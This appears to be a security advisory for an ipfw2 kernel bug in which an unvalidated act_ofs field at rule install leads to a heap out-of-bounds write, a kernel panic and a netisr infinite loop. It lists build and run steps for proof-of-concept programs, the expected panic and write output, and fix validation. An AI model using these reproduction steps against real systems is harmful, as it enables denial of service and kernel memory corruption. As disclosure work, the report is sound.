# DF-3260 — ipfw2 `act_ofs` unvalidated at rule install: heap OOB write, kernel panic, netisr infinite loop

File: `sys/net/ipfw/ip_fw2.c` (pass 2). Escalation of DF-0261 (which covers the
OOB **read** side) to write/DoS sinks.

## Build (guest, root)

    cc -O -o poc_misalign poc_misalign.c
    cc -O -o poc_write    poc_write.c
    cc -O -o poc_regression poc_regression.c

## Run (guest, root)

    sysctl net.filters_default_to_accept=1   # keep ssh alive after kldload
    kldload ipfw
    ifconfig lo0 alias 127.0.255.255 netmask 255.255.255.255  # PoC1 only
    ./poc_misalign     # sends 2 UDP packets -> kernel PANICS on packet 2
    ./poc_write        # installs rule, IP_FW_ZERO -> 4-byte heap WRITE, prints proof

## Expected output

poc_misalign (serial console, captured in panic.txt):

    panic: -- unknown opcode 127
    ipfw_chk() at ipfw_chk+0x2a1e
    ipfw_check_in() at ipfw_check_in+0x23
    pfil_run_hooks() ...
    ip_input() ...

poc_write:

    [+] rule 2000 installed (cmd_len=4, act_ofs=1)
    [+] baseline cmd[3] = 0x0000012b
    [+] IP_FW_ZERO(2000) done -> clear_counters() store fired
    [+] after     cmd[3] = 0x00000128
    [!!] 4-BYTE KERNEL HEAP WRITE CONFIRMED: cmd[3] 0x0000012b -> 0x00000128
        (value=max_log, offset=act_ofs*4+8, both attacker-chosen)

## Fix validation

    scp fix.diff guest:/tmp
    (guest) cd /usr/src && git apply /tmp/fix.diff
    (guest) cd /usr/src/sys/net/ipfw && make obj && \
            make KERNBUILDDIR=/usr/obj/usr/src/sys/X86_64_GENERIC
    kldload /usr/obj/usr/src/sys/net/ipfw/ipfw.ko
    ./poc_write        -> IP_FW_ADD: Invalid argument
    ./poc_misalign     -> IP_FW_ADD: Invalid argument
    dmesg: "ipfw: act_ofs 1 not on instruction boundary"
    ./poc_regression   -> PASS (valid rules still install; traffic flows)

## Privilege ceiling

Rule installation requires root (raw socket: `caps_priv_check(SYSCAP_NONET_RAW)`
sys/netinet/raw_ip.c:473) and is blocked at securelevel>=3
(sys/net/ipfw/ip_fw2_glue.c:65-69). HOWEVER, once a root-installed rule is in
place, the panic/loop sinks are triggered by *any* packet that matches the
rule — i.e. an unprivileged local user or a remote sender.
